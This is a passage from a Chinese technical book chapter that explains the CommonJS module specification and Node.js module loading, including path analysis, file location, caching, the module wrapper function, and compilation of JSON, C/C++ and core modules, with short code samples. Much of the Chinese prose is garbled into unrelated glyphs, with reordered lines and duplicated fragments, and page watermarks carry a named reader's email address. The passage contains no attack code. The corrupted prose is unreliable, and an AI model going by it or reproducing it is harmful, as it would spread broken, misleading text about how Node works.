在Ф他高ጞ语言中，Java有ዜ஠͇，Python有import机҃，Ruby有require，PHP有include

֖require。ᏪJavaScript᤯过<script>ಕኣल入̼ᆉ的ழय௬३杂˼௃ብ，语言自ᢵඒ௃组织֖

ጝో能Ҧ。人们不३不用֐Տቆᫍኍழय人为ڠጝో̼ᆉ，以ය᣹到߶К֖௛用的目的。 

第 � 章
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ͭ是ᄹ起౎ё˼的JavaScript编程ဗ࿃并不̼ᛪ着社区没有ᤈ൥，JavaScript的本ڠӐ编程之

ᡸ一ᄯ在探索中。在NodeѢဗ之前，服务٧端JavaScript۲本没有ࣉ场，与ൔൔՓᕥ的前端

JavaScript应用相ඊ，Rhinoኍ后端JavaScriptᤁᛠ环境۲本只是用于小工Х，ͭ是经ԊӠ多年的

发ࡘ后，社区也为JavaScript҃定了相应的᜺ᔴ，Ф中CommonJS᜺ᔴ的ଡѢኪ是最为᧗要的᧖

程ᆿ。 

2.1� CommonJS 㾘㣗 

CommonJS᜺ᔴ为JavaScript҃定了一个Ꮎ好的ਜ景——࣎భJavaScript能ܴ在͉ʹڠழᤁᛠ。 

2.1.1� CommonJSⱘߎথ⚍ 

在JavaScript的发ࡘԊ程中，它˞要在เ᜾٧前端发Џ发བ。由于߽ழ᜺ᔴ（ECMAScript）
᜺ᔴӐ的时ᫍᣖ௉，᜺ᔴ๯ᄥ的ᔴ႘᭣࣡小。这些᜺ᔴ中包դជก、ዜۋ、上下஠、ᛪ᣹य、ܥ

௙（statement）、ழก、对៵ኍ语言的۲本要ገ。在实ᬄ应用中，JavaScript的ᛪဗ能ҦԨ决于ࠖ

˞环境中的APIஂ૆程ऎ。在Web 1.0时̼，只有对DOM、BOMኍ۲本的ஂ૆。ᬣ着Web 2.0的推

ᤈ，HTML5࢝᭚ܿᝇ，它࠱Web网页ࣛᤈWeb应用的时̼，在เ᜾٧中Ѣဗ了ఝ多、ఝ强大的

APIΘJavaScriptុ用，这३ਕ៘W3C组织对HTML5᜺ᔴ的推ᤈ以ԢՉ大เ᜾٧ԇ׷对᜺ᔴ的大

Ҧஂ૆。ͭ 是，Web在发ࡘ，เ᜾٧中Ѣဗ了ఝ多的ಕэAPI，这些过程发生在前端，后端JavaScript
的᜺ᔴԁᤉᤉᖿ后。对于JavaScript自ᢵᏪ言，它的᜺ᔴΙཨ是ᘘि的，还有以下Ꭴᬝ。 

� ≵᳝῵ഫ㋏㒳Ǆ 
ᑧ䕗ᇥǄECMAScript仅定˦了部分ನ心ं，对于஠͇系统，I/Oึኍ࣡᜸ᭉයԁ没有ޚᷛ �

ಕэ的API。就HTML5的发ࡘ࿃хᏪ言，W3CಕэӐ在一定਒˦上是在推ᤈ这个过程，

ͭ是它仅ᬌ于เ᜾٧端。 
Web服务٧੊者数૵ं之ዜ的ಕэ统ݟ᥹ষǄ在JavaScript中，几˪没有定˦过ޚ᳝ᷛ≴ �

一接ԯ。 
� 㔎Уࣙㅵ⧚㋏㒳Ǆ这࠭ᒰJavaScript应用中۲本没有自动加ᣑ֖߶ᜈΙᠺ的能Ҧ。 
CommonJS᜺ᔴ的ଡѢ，˞要是为了弥补ॆ前JavaScript没有ಕэ的Ꭴᬝ，以᣹到像Python、

Ruby֖JavaХܫ开发大ۋ应用的۲ᆨ能Ҧ，Ꮺ不是Ϣ႐在小脚本程序的᫼ൿ。他们యభᥦ些用

CommonJS API写Ѣ的应用可以Хܫᡴࠖ˞环境੯ᛠ的能Ҧ，这样不仅可以ѽ用JavaScript开发ࠜ

客ਖ਼端应用，Ꮺ且还可以编写以下应用。 
� 服务٧端JavaScript应用程序。 
 。ᛠ工Х̽֐ �
� ಷ᭦图्ႌ᭦应用程序。 
� ຈՋ应用（Titanium֖Adobe AIRኍ्य的应用）。 
今，CommonJS中的大部分᜺ᔴᙉཨΙே是ᕘ಴，ͭ是已经初௬੆஌，为JavaScript开发大ݟ

、ᤈ҃̃、ڰ应用程序ૈ௙了一్᭣࣡ೡ的᥊ᡸ。目前，它Ιே在੆᫁中，这些᜺ᔴ๯ᄥ了ഴۋ
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Buffer、ߙቿᬶ编ᆉ、I/Oึ、ᤈ程环境、஠͇系统、ݒ接ߙ、ӬЊ测试、Web服务٧网关接ԯ、

包管ူኍ。 
ူ᝶֖实践঳是相̈ॕֽ֖Χᤈ的，Node能以一ሗඊᣖ੆熟的ލখѢဗ，ሎ不开CommonJS

᜺ᔴ的ॕֽ。在服务٧端，CommonJS能以一ሗࠬ࣡的ލখ写ᤈՉ个МՂ的ᮉ目̼ᆉ中，ሎ不开

Node优ऩ的ᛪဗ。实ဗ的优ᓡᛪဗሎ不开᜺ᔴ最初优ሑ的᝹᝟，᜺ᔴ因实ဗ的推广Ꮺ३以௾Ԣ。

图2-2是Node与เ᜾٧以ԢW3C组织、CommonJS组织、ECMAScript之ᫍ的关系，РՎౝ੆了一

个ጒᕥ的生খ系统。 

 

图2-2 Node与เ᜾٧以ԢW3C组织、CommonJS组织、ECMAScript之ᫍ的关系 

Nodeύ᧜CommonJS的Modules᜺ᔴ实ဗ了一ݒ᭣࣡௛用的ഴڰ系统，NPM对Packages᜺ᔴ

的߸好ஂ૆使३Node应用在开发过程中事Ӧҩυ。在本ብ中，我们˞要就Node的ഴ֖ڰ包的实

ဗᤈᛠࡘ开ឬ௙。 

2.1.2� CommonJSⱘ῵ഫ㾘㣗 

CommonJS对ഴڰ的定˦Ӡ分ኤӬ，˞要分为ഴڰल用、ഴڰ定˦֖ഴڰಕ识3个部分。 
1. ῵ഫᓩ⫼ 
ഴڰल用的ᇧΒ̼ᆉݟ下Ὑ 

var math = require('math'); 

在CommonJS᜺ᔴ中，ߚ在require()ழก，这个ழก接ԩഴڰಕ识，以൤ल入一个ഴڰ的API
到ॆ前上下஠中。 

2. ῵ഫᅮН 
在ഴڰ中，上下஠ଡΘrequire()ழก౎ल入外部ഴڰ。对应ल入的ҩ能，上下஠ଡΘ了

exports对៵用于࠭Ѣॆ前ഴڰ的ழก੊者Ԫ量，并且它是׬一࠭Ѣ的Ѣԯ。在ഴڰ中，还ߚ在

一个module对៵，它̼ᛪഴڰ自ᢵ，Ꮺexports是module的࡚性。在Node中，一个஠͇就是一个

ഴ࠱，ڰழกેᣑ在exports对៵上作为࡚性Ԁ可定˦࠭Ѣ的ழयὙ 

// math.js 
exports.add = function () { 
  var sum = 0, 
    i = 0, 
    args = arguments, 
    l = args.length; 
  while (i < l) { 
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    sum += args[i++]; 
  } 
  return sum; 
}; 

在Բ一个஠͇中，我们᤯过require()ழกल入ഴڰ后，就能ុ用定˦的࡚性੊ழก了Ὑ 

// program.js 
var math = require('math'); 
exports.increment = function (val) { 
  return math.add(val, 1); 
}; 

3. ῵ഫᷛ䆚 
ഴڰಕ识Ф实就是͛ᤫፋrequire()ழก的ԟ数，它ॸᮋ是ቿՋ小᯿֐ࢎՏ的ߙቿ˘，੊者

以.、..开ܿ的相对ᡸफ़，੊者绝对ᡸफ़。它可以没有஠͇Տ后፯.js。 
ഴڰ的定˦Ӡ分ኤӬ，接ԯ也Ӡ分ኤผ。它的਒˦在于࠱ዜᐐ的ழก֖Ԫ量ኍᬌ定在ሒ有的

作用۪中，Վ时ஂ૆ल入֖࠭Ѣҩ能以ᮊႉڠᤋ接上下ຣΙᠺ。ݟ图2-3੝ᇧ，ඇ个ഴڰХ有࿗

立的ቆᫍ，它们̈不࣯੷，在ल用时也௬३࣯ыѽᖿ。 

 

图2-3 ഴڰ定˦ 

CommonJSౝत的这ݒഴ࠭ڰѢ֖ल入机҃使३用ਖ਼߸К不ॸᏥᘼԪ量෉౿，֐Տቆᫍኍழ

಴与之相ඊ相्᜸ጿ。 

2.2� Node ⱘ῵ഫᅲ⦄ 

Node在实ဗ中并᭣߸К૊ཱ᜺ᔴ实ဗ，Ꮺ是对ഴڰ᜺ᔴᤈᛠ了一定的Ԩᒻ，Վ时也ܘ加了࠵

᝴自ᢵᭉ要的ྱ性。ࡉ管᜺ᔴ中exports、require֖moduleե起౎Ӡ分ኤӬ，ͭ是Node在实ဗ它

们的过程中ቂቤ经Ԋ了̣˥，这个过程ᭉ要ᅻ௳。 
在Node中ल入ഴڰ，ᭉ要经Ԋݟ下3个൥ᰠ。 
(1) ᡸफ़分ౡ 
(2) ஠͇定ͮ 
(3) 编ដ੯ᛠ 
在Node中，ഴڰ分为ˏዜὙ一ዜ是NodeଡΘ的ഴڰ，ሥ为ನ心ഴڰ὚Բ一ዜ是用ਖ਼编写的

ഴڰ，ሥ为஠͇ഴڰ。 
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� ನ心ഴڰ部分在Node源̼ᆉ的编ដ过程中，编ដᤈ了̃ᤈ҃੯ᛠ஠͇。在Nodeᤈ程ը动

时，部分ನ心ഴڰ就ᜁᄯ接加ᣑᤈ内ߚ中，੝以这部分ನ心ഴڰल入时，஠͇定֖ͮ编

ដ੯ᛠ这ˏ个൥ᰠ可以ᄴ႔૿，并且在ᡸफ़分ౡ中优Ўѻற，੝以它的加ᣑᤳऎ是最 
ঋ的。 

� ஠͇ഴڰѶ是在ᤁᛠ时动খ加ᣑ，ᭉ要߸ஞ的ᡸफ़分ౡ、஠͇定ͮ、编ដ੯ᛠ过程，ᤳ

ऎඊನ心ഴڰਤ。 
接下౎，我们ࡘ开សጹ的ഴڰ加ᣑ过程。 

2.2.1� ӬܜҢ㓧ᄬࡴ䕑 

᭡খ脚本ߚ开̭ፀᡸफ़分ౡ֖஠͇定ͮ之前，我们ᭉ要ᅻ௳的一ཁ是，与前端เ᜾٧会ᎀࡘ

஠͇以ଡ高性能一样，Node对ल入过的ഴڰ都会ᤈᛠᎀߚ，以ђ̃࠵次ल入时的开ᩘ。不Վ的ڠ

ழ在于，เ᜾٧仅仅ᎀߚ஠͇，ᏪNodeᎀߚ的是编ដ֖੯ᛠ之后的对៵。 
不᝶是ನ心ഴڰ还是஠͇ഴڰ，require()ழก对相Վഴڰ的̃次加ᣑ都一।᧓用ᎀߚ优Ў的

ழय，这是ኃʶ͕Ўጞ的。不Վ之ܪ在于ನ心ഴڰ的ᎀߚ೜ಉЎ于஠͇ഴڰ的ᎀߚ೜ಉ。 

2.2.2� 䏃ᕘߚᵤ੠᭛ӊᅮԡ 

因为ಕ识ቿ有几ሗ्य，对于不Վ的ಕ识ቿ，ഴڰ的ಉ੼֖定ͮ有不Վ程ऎ上的ࢿऩ。 
1. ῵ഫᷛ䆚ヺߚᵤ 
前᭦ଡ到过，require()ழก接ԩ一个ಕ识ቿ作为ԟ数。在Node实ဗ中，ൣ是۲于这样一个

ಕ识ቿᤈᛠഴڰಉ੼的。ഴڰಕ识ቿ在Node中˞要分为以下几ዜ。 
� ನ心ഴݟ，ڰhttp、fs、pathኍ。 
� .੊..开始的相对ᡸफ़஠͇ഴڰ。 
� 以/开始的绝对ᡸफ़஠͇ഴڰ。 
� ᭣ᡸफ़्य的஠͇ഴݟ，ڰ自定˦的connectഴڰ。 
z ನॶഴڰ 
ನ心ഴڰ的优Ўጞ仅次于ᎀߚ加ᣑ，它在Node的源̼ᆉ编ដ过程中已经编ដ为̃ᤈ̼҃ᆉ，

Ф加ᣑ过程最ঋ。 
౦自己编写了ݟ。ᥦ是不会੆ҩ的，ڰಕ识ቿ相Վ的自定˦ഴڰ౦试图加ᣑ一个与ನ心ഴݟ

一个http用ਖ਼ഴڰ，想要加ᣑ੆ҩ，ॸᮋᤤસ一个不Վ的ಕ识ቿ੊者૰用ᡸफ़的ழय。 
z ᡸफ़्式的文͇ഴڰ 
以.、..֖/开始的ಕ识ቿ，这᧖都ᜁॆ做஠͇ഴڰ౎ူܪ。在分ౡᡸफ़ഴڰ时，require()ழ

ก会࠱ᡸफ़ᣀ为ᄽ实ᡸफ़，并以ᄽ实ᡸफ़作为索ल，࠱编ដ੯ᛠ后的ፆ౦ߚஉ到ᎀߚ中，以使̃

次加ᣑ时ఝঋ。 
由于஠͇ഴڰፋNodeૈ௙了ᆷѬ的஠͇ͮᎵ，੝以在ಉ੼过程中可以ᓫጝ大量时ᫍ，Ф加ᣑ

ᤳऎਤ于ನ心ഴڰ。 
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z ᒬ定˦ഴڰ 
自定˦ഴૈڰ的是᭣ನ心ഴڰ，也不是ᡸफ़्य的ಕ识ቿ。它是一ሗྱ൳的஠͇ഴڰ，可能

是一个஠͇੊者包的्य。这ዜഴڰ的ಉ੼是最᠟时的，也是੝有ழय中最ਤ的一ሗ。 
在̭ፀ自定˦ഴڰ的ಉ੼ழय之前，ᭉ要Ў̭ፀ一下ഴڰᡸफ़这个ഏএ。 
ഴڰᡸफ़是Node在定ͮ஠͇ഴڰ的Хͳ஠͇时҃定的ಉ੼ን႔，Хͳᛪဗ为一个ᡸफ़组੆的

数组。关于这个ᡸफ़的生੆᜺Ѷ，我们可以੣动࠼试一႖。 
(1) 创तmodule_path.js஠͇，Ф内ࠓ为console.log(module.paths);。 
 。Фஉ到͉਒一个目े中ཨ后੯ᛠnode module_path.js࠱ (2)
在Linux下，你可能३到的是这样一个数组ᣤѢὙ 

[ '/home/jackson/research/node_modules', 
'/home/jackson/node_modules', 
'/home/node_modules', 
'/node_modules' ] 

Ꮺ在Windows下，也᝴是这样Ὑ 

[ 'c:\\nodejs\\node_modules', 'c:\\node_modules' ] 

可以ᄹѢ，ഴڰᡸफ़的生੆᜺Ѷݟ下੝ᇧ。 
� ॆ前஠͇目े下的node_modules目े。 
� ྗ目े下的node_modules目े。 
� ྗ目े的ྗ目े下的node_modules目े。 
� ෸ᡸफ़Փ上ᤩጞᤫॅ，ᄯ到಩目े下的node_modules目े。 
它的生੆ழय与JavaScript的ԓᩖۋ੊作用۪ᩖ的ಉ੼ழयӠ分ዜͪ。在加ᣑ的过程中，Node

会ᤩ个࠼试ഴڰᡸफ़中的ᡸफ़，ᄯ到੼到目ಕ஠͇为ൢ。可以ᄹѢ，ॆ前஠͇的ᡸफ़ᡔ深，ഴڰ

ಉ੼Ᏹ时会ᡔ多，这是自定˦ഴڰ的加ᣑᤳऎ是最ਤ的ԓ因。 
2. 文件定位 
从ᎀߚ加ᣑ的优Ӑን႔使३̃次ल入时不ᭉ要ᡸफ़分ౡ、஠͇定֖ͮ编ដ੯ᛠ的过程，大大

ଡ高了в次加ᣑഴڰ时的஌ည。 
ͭ在஠͇的定ͮ过程中，还有一些ጹᓫᭉ要ซ਒，这˞要包括஠͇ੰࡘՏ的分ౡ、目े֖包

的ူܪ。 
z 文͇ੰࡘՏѫౡ 
require()在分ౡಕ识ቿ的过程中，会Ѣဗಕ识ቿ中不包դ஠͇ੰࡘՏ的情х。CommonJSഴ

Տ，这ሗ情х下，Node会૊.js、.json、.node的次序补ࡘ᜺ᔴ也Љ᝴在ಕ识ቿ中不包դ஠͇ੰڰ

ᡛੰࡘՏ，Ι次࠼试。 
在࠼试的过程中，ᭉ要ុ用fsഴڰՎ൥᫽܊यڠѻற஠͇是否ߚ在。因为Node是Ӭ线程的，

੝以这᧖是一个会ल起性能问题的ڠழ。小᝻቎是Ὑݟ౦是.node֖.json஠͇，在͛ᤫፋrequire()

的ಕ识ቿ中ࣛ上ੰࡘՏ，会加ঋ一ཁᤳऎ。Բ一个᝻቎是ὙՎ൥ᦠՋᎀߚ，可以大ࣧऎᎀ解Node
Ӭ线程中᫽܊यុ用的Ꭴᬝ。 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

可以,前的深, 时会多,这是自定的加是最的因。

[ '/home/jackson/research/node_modules', '/home/jackson/node_modules', '/home/node_modules', '/node_modules' ]

作用

,可以大解Node 线程中用的。
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z ᄫेѫౡ֖Ӊ 
在分ౡಕ识ቿ的过程中，require()᤯过分ౡ஠͇ੰࡘՏ之后，可能没有ಉ੼到对应஠͇，ͭ

ԁ३到一个目े，这在ल入自定˦ഴ֖ڰᤩ个ഴڰᡸफ़ᤈᛠಉ੼时经࣡会Ѣဗ，൤时Node会࠱目

ेॆ做一个包౎ူܪ。 
在这个过程中，Node对CommonJS包᜺ᔴᤈᛠ了一定程ऎ的ஂ૆。ᯪЎ，Node在ॆ前目े下

ಉ੼package.json（CommonJS包᜺ᔴ定˦的包ଠᤗ஠͇），᤯过JSON.parse()解ౡѢ包ଠᤗ对៵，

从中ԨѢmain࡚性ૈ定的஠͇Տᤈᛠ定ͮ。ݟ౦஠͇ՏᎤࡘੰ࠵Տ，࠱会ᤈ入ੰࡘՏ分ౡ的൥ᰠ。 
Ꮺݟ౦main࡚性ૈ定的஠͇Տᩱឧ，੊者Ԍ಩没有package.json஠͇，Node会࠱indexॆ做᳭

认஠͇Տ，ཨ后Ι次ಉ੼index.js、index.json、index.node。 
ᡸफ़ᤈᛠಉڰᤈ入下一个ഴڰ౦在目े分ౡ的过程中没有定ͮ੆ҩ͉ʹ஠͇，Ѷ自定˦ഴݟ

੼。ݟ౦ഴڰᡸफ़数组都ᜁ遍Ԋ߸උ，Ιཨ没有ಉ੼到目ಕ஠͇，Ѷ会ઊѢಉ੼ܾ᠋的ऩ࣡。 

2.2.3 模块编译 

在Node中，ඇ个஠͇ഴڰ都是一个对៵，它的定˦ݟ下Ὑ 

function Module(id, parent) { 

  this.id = id; 

  this.exports = {}; 

  this.parent = parent; 

  if (parent && parent.children) { 

    parent.children.push(this); 

  } 

 

  this.filename = null; 

  this.loaded = false; 

  this.children = []; 

} 

编ដ֖੯ᛠ是ल入஠͇ഴڰ的最后一个᫼ൿ。定ͮ到Хͳ的஠͇后，Node会新त一个ഴڰ对

៵，ཨ后಩૵ᡸफ़ᣑ入并编ដ。对于不Վ的஠͇ੰࡘՏ，Фᣑ入ழก也有੝不Վ，Хͳݟ下੝ᇧ。 
� .js文件。᤯过fsഴڰՎ൥读Ԩ஠͇后编ដ੯ᛠ。 
� .node文件。这是用C/C++编写的ੰࡘ஠͇，᤯过dlopen()ழก加ᣑ最后编ដ生੆的஠͇。 
� .json文件。᤯过fsഴڰՎ൥读Ԩ஠͇后，用JSON.parse()解ౡᤄٿፆ౦。 
� 其余扩展名文件。它们都ᜁॆ做.js஠͇ᣑ入。 
ඇ一个编ដ੆ҩ的ഴڰ都会࠱Ф஠͇ᡸफ़作为索लᎀߚ在Module._cache对៵上，以ଡ高̃

次ल入的性能。 
಩૵不Վ的஠͇ੰࡘՏ，Node会ុ用不Վ的读Ԩழय，ݟ.json஠͇的ុ用ݟ下Ὑ 

// Native extension for .json 

Module._extensions['.json'] = function(module, filename) { 

  var content = NativeModule.require('fs').readFileSync(filename, 'utf8'); 

  try { 

    module.exports = JSON.parse(stripBOM(content)); 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权
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  } catch (err) { 
    err.message = filename + ': ' + err.message; 
    throw err; 
  } 
}; 

Ф中，Module._extensions会ᜁᠱϘፋrequire()的extensions࡚性，੝以᤯过在̼ᆉ中᝺问

require.extensions可以ᅻ᥊系统中已有的ੰࡘ加ᣑழय。编写ݟ下̼ᆉ测试一下Ὑ 

console.log(require.extensions); 

३到的੯ᛠፆ౦ݟ下Ὑ 

{ '.js': [Function], '.json': [Function], '.node': [Function] } 

Տᤈᛠྱ൳的加ᣑ，可以᤯过ዜͪrequire.extensions['.ext']的ழࡘ౦想对自定˦的ੰݟ

य实ဗ。௉య的CoffeeScript஠͇就是᤯过ຊ加require.extensions['.coffee']ੰࡘ的ழय౎实ဗ

加ᣑ的。ͭ是从v0.10.6ྟ本开始，߽ழ不ᴁҴ᤯过这ሗழय౎ᤈᛠ自定˦ੰࡘՏ的加ᣑ，Ꮺ是య

భЎ࠱Ф他语言੊஠͇编ដ੆JavaScript஠͇后в加ᣑ，这样做的好ܪ在于不࠱ཐဴ的编ដ加ᣑኍ

过程ल入Node的੯ᛠ过程中。 
在ᆷ定஠͇的ੰࡘՏ之后，Nodeុ࠱用Хͳ的编ដழय౎࠱஠͇੯ᛠ后ᤄٿፋុ用者。 
1. JavaScript῵ഫⱘ㓪䆥 
在着require、exports、module这3个ߚ஠͇中ڰ᜺ᔴ，我们ᅻ᥊ඇ个ഴڰ到CommonJSഴٿ

Ԫ量，ͭ是它们在ഴڰ஠͇中并没有定˦，ᥦ˥从ʹᏪ౎փ὞甚至在Node的API஠ು中，我们ᅻ

᥊ඇ个ഴڰ中还有__filename、__dirname这ˏ个Ԫ量的ߚ在，它们Ԡ是从ʹᏪ౎的փ὞ݟ౦我们

ઁᄯ接定˦ഴڰ的过程உឰ在เ᜾٧端，会ߚ在෉౿КࡌԪ量的情х。 
事实上，在编ដ的过程中，Node对ᖌԨ的JavaScript஠͇内ࠓᤈᛠ了ܿࡊ包ᜈ。在ܿ部ຊ加

了(function (exports, require, module, __filename, __dirname) {\n，在ࡊ部ຊ加了\n});。

一个ൣ࣡的JavaScript஠͇会ᜁ包ᜈ੆ݟ下的样ߔὙ 

(function (exports, require, module, __filename, __dirname) { 
  var math = require('math'); 
  exports.area = function (radius) { 
    return Math.PI * radius * radius; 
  }; 
}); 

这样ඇ个ഴڰ஠͇之ᫍ都ᤈᛠ了作用۪ᬥሎ。包ᜈ之后的̼ᆉ会᤯过vmԓ生ഴڰ的

runInThisContext()ழก੯ᛠ（ዜͪeval，只是Х有௙ᆷ上下஠，不෉౿Кࡌ），ᤄٿ一个Хͳ的

function对៵。最后，ॆ࠱前ഴڰ对៵的exports࡚性、require()ழก、module（ഴڰ对៵自ᢵ），

以Ԣ在஠͇定ͮ中३到的߸ஞ஠͇ᡸफ़֖஠͇目े作为ԟ数͛ᤫፋ这个function()੯ᛠ。 
这就是这些Ԫ量并没有定˦在ඇ个ഴڰ஠͇中ԁߚ在的ԓ因。在੯ᛠ之后，ഴڰ的exports

࡚性ᜁᤄٿፋ了ុ用ழ。exports࡚性上的͉ʹழก֖࡚性都可以ᜁ外部ុ用到，ͭ是ഴڰ中的

Ф余Ԫ量੊࡚性Ѷ不可ᄯ接ᜁុ用。 
至൤，require、exports、module的ึ程已经߸ஞ，这就是Node对CommonJSഴڰ᜺ᔴ的实ဗ。 
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൤外，᝴多初学者都డ经጗ፆ过为ʹߚ在exports的情х下，还ߚ在module.exports。ူ想情

х下，只要ᠱϘፋexportsԀ可Ὑ 

exports = function () { 
  // My Class 
}; 

ͭ是᤯࣡都会३到一个ܾ᠋的ፆ౦。Фԓ因在于，exports对៵是᤯过्ԟ的ழय͛入的，

ᄯ接ᠱϘ्ԟ会இԪ्ԟ的ल用，ͭ并不能இԪ作用۪外的Ϙ。测试̼ᆉݟ下Ὑ 

var change = function (a) { 
  a = 100; 
  console.log(a); // => 100 
}; 
 
var a = 10; 
change(a); 
console.log(a); // => 10 

的ழ಴不இٿ౦要᣹到requireल入一个ዜ的஌౦，请ᠱϘፋmodule.exports对៵。这个᣻ݟ

Ԫ्ԟ的ल用。 
2. C/C++῵ഫⱘ㓪䆥 
Nodeុ用process.dlopen()ழกᤈᛠ加ᣑ֖੯ᛠ。在Node的౵ౝ下， dlopen()ழก在Windows

֖*nixࣰԻ下分Ѿ有不Վ的实ဗ，᤯过libuvЩࡎࠓᤈᛠ了࠯ᜈ。 
实ᬄ上，.node的ഴڰ஠͇并不ᭉ要编ដ，因为它是编写C/C++ഴڰ之后编ដ生੆的，੝以这

᧖只有加ᣑ֖੯ᛠ的过程。在੯ᛠ的过程中，ഴڰ的exports对៵与.nodeഴڰ产生ᐎ系，ཨ后ᤄ

 。ፋុ用者ٿ
C/C++ഴڰፋNode使用者ࣛ౎的优势˞要是੯ᛠ஌ညழ᭦的，ҭ势Ѷ是C/C++ഴڰ的编写门

ഩඊJavaScript高。 
3. JSON᭛ӊⱘ㓪䆥 
.json஠͇的编ដ是3ሗ编ដழय中最ኤӬ的。Nodeѽ用fsഴڰՎ൥读ԨJSON஠͇的内ࠓ之

后，ុ用JSON.parse()ழก३到对៵，ཨ后࠱它ᠱፋഴڰ对៵的exports，以Θ外部ុ用。 
JSON஠͇在用作ᮉ目的ᦠᎵ஠͇时ඊᣖ有用。ݟ౦你定˦了一个JSON஠͇作为ᦠᎵ，ᥦ就

不ॸុ用fsഴڰԜऩ൥读Ԩ֖解ౡ，ᄯ接ុ用require()ल入Ԁ可。൤外，你还可以享ԩ到ഴڰᎀ

 。的Φѽ，并且̃次ल入时也没有性能ॕֽߚ
这᧖我们ଡ到的ഴڰ编ដ都是ૈ஠͇ഴڰ，Ԁ用ਖ਼自己编写的ഴڰ。在下一ᓫ中，我们ࡘ࠱

开̭ፀನ心ഴڰ中的JavaScriptഴ֖ڰC/C++ഴڰ。 

2.3� Ḍᖗ῵ഫ 

前᭦ଡ到，Node的ನ心ഴڰ在编ដ੆可੯ᛠ஠͇的过程中ᜁ编ដᤈ了̃ᤈ҃஠͇。ನ心ഴڰ

Ф实分为C/C++编写的֖JavaScript编写的ˏ部分，Ф中C/C++஠͇ߚஉ在Nodeᮉ目的src目े下，

JavaScript஠͇ߚஉ在lib目े下。 
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2.3.1� JavaScriptḌᖗ῵ഫⱘ㓪䆥䖛⿟ 
在编ដ੝有C/C++஠͇之前，编ដ程序ᭉ要࠱੝有的JavaScriptഴڰ஠͇编ដ为C/C++̼ᆉ，

൤时是否ᄯ接࠱Ф编ដ为可੯ᛠ̼ᆉ了փ὞Ф实不是。 
1. 䕀ᄬЎC/C++ҷⷕ 
Node᧓用了V8ᬃࣛ的js2c.py工Х，࠱੝有内Ꮅ的JavaScript̼ᆉ（src/node.js֖lib/*.js）ᣀ૰

੆C++᧖的数组，生੆node_natives.hܿ஠͇，相关̼ᆉݟ下Ὑ 
namespace node { 
 
  const char node_native[] = { 47, 47, ..}; 
  const char dgram_native[] = { 47, 47, ..}; 
  const char console_native[] = { 47, 47, ..}; 
  const char buffer_native[] = { 47, 47, ..}; 
  const char querystring_native[] = { 47, 47, ..}; 
  const char punycode_native[] = { 47, 42, ..}; 
  ... 
  struct _native { 
    const char* name; 
    const char* source; 
    size_t source_len; 
  }; 
 
  static const struct _native natives[] = { 
    { "node", node_native, sizeof(node_native)-1 }, 
    { "dgram", dgram_native, sizeof(dgram_native)-1 }, 
    ... 
  }; 
 
} 

在这个过程中，JavaScript̼ᆉ以ߙቿ˘的्यߚϱ在node֐Տቆᫍ中，是不可ᄯ接੯ᛠ的。

在ը动Nodeᤈ程时，JavaScript̼ᆉᄯ接加ᣑᤈ内ߚ中。在加ᣑ的过程中，JavaScriptನ心ഴڰ经

Ԋಕ识ቿ分ౡ后ᄯ接定ͮ到内ߚ中，ඊ௾᤯的஠͇ഴڰ从ᇒᄧ中一ܪ一ܪಉ੼要ঋ很多。 
2. 㓪䆥JavaScriptḌᖗ῵ഫ 
lib目े下的੝有ഴڰ஠͇也没有定˦require、module、exports这些Ԫ量。在ल入JavaScript

ನ心ഴڰ的过程中，也经Ԋ了ܿࡊ包ᜈ的过程，ཨ后才੯ᛠ֖࠭Ѣ了exports对៵。与஠͇ഴڰ

有区Ѿ的ڠழ在于ὙᖌԨ源̼ᆉ的ழय（ನ心ഴڰ是从内ߚ中加ᣑ的）以Ԣᎀߚ੯ᛠፆ౦的ͮᎵ。 
JavaScriptನ心ഴڰ的定˦ݟ下᭦的̼ᆉ੝ᇧ，源஠͇᤯过process.binding('natives')ԨѢ，

编ដ੆ҩ的ഴڰᎀߚ到NativeModule._cache对៵上，஠͇ഴڰѶᎀߚ到Module._cache对៵上Ὑ 
function NativeModule(id) { 
  this.filename = id + '.js'; 
  this.id = id; 
  this.exports = {}; 
  this.loaded = false; 
} 
NativeModule._source = process.binding('natives'); 
NativeModule._cache = {}; 
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2.3.2� C/C++Ḍᖗ῵ഫⱘ㓪䆥䖛⿟ 

在ನ心ഴڰ中，有些ഴڰК部由C/C++编写，有些ഴڰѶ由C/C++߸੆ನ心部分，Ф他部分

Ѷ由JavaScript实ဗ包ᜈ੊Փ外࠭Ѣ，以໗ᡛ性能ᭉය。后᭦这ሗC++ഴڰ˞内߸੆ನ心，JavaScript
˞外实ဗ࠯ᜈ的ഴय是Node能ܴଡ高性能的࣡᜸ழय。᤯࣡，脚本语言的开发ᤳऎ优于᭡খ语言，

ͭ是Ф性能Ѷि于᭡খ语言。ᏪNode的这ሗ复Ջഴय可以在开发ᤳऎ֖性能之ᫍ੼到ࣰᛥཁ。 
这᧖我们࠱ᥦ些由ጥC/C++编写的部分统一ሥ为内तഴڰ，因为它们᤯࣡不ᜁ用ਖ਼ᄯ接ុ

用。Node的buffer、crypto、evals、fs、osኍഴڰ都是部分᤯过C/C++编写的。 
 ᓎ῵ഫⱘ㒘㒛ᔶᓣݙ .1
在Node中，内तഴڰ的内部ፆౝ定˦ݟ下Ὑ 

struct node_module_struct { 
  int version; 
  void *dso_handle; 
  const char *filename; 
  void (*register_func) (v8::Handle<v8::Object> target); 
  const char *modname; 
}; 

ඇ一个内तഴڰ在定˦之后，都᤯过NODE_MODULE߹࠱ഴڰ定˦到node֐Տቆᫍ中，ഴڰ的Х

ͳ初始Ӑழกેᣑ为ፆౝ的register_func੆տὙ 

#define NODE_MODULE(modname, regfunc)                                 \ 
  extern "C" {                                                        \ 
    NODE_MODULE_EXPORT node::node_module_struct modname ## _module =  \ 
    {                                                                 \ 
      NODE_STANDARD_MODULE_STUFF,                                     \ 
      regfunc,                                                        \ 
      NODE_STRINGIFY(modname)                                         \ 
    };                                                                \ 
  } 

node_extensions.h஠͇࠱这些஘Ѵ的内तഴڰ统一உᤈ了一个Զnode_module_list的数组中，

这些ഴڰ有Ὑ 
� node_buffer 

� node_crypto 

� node_evals 

� node_fs 

� node_http_parser 

� node_os 

� node_zlib 

� node_timer_wrap 

� node_tcp_wrap 

� node_udp_wrap 
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� node_pipe_wrap 

� node_cares_wrap 

� node_tty_wrap 

� node_process_wrap 

� node_fs_event_wrap 

� node_signal_watcher 

这些内तഴڰ的ԨѢ也Ӡ分ኤӬ。NodeଡΘ了get_builtin_module()ழก从node_module_list

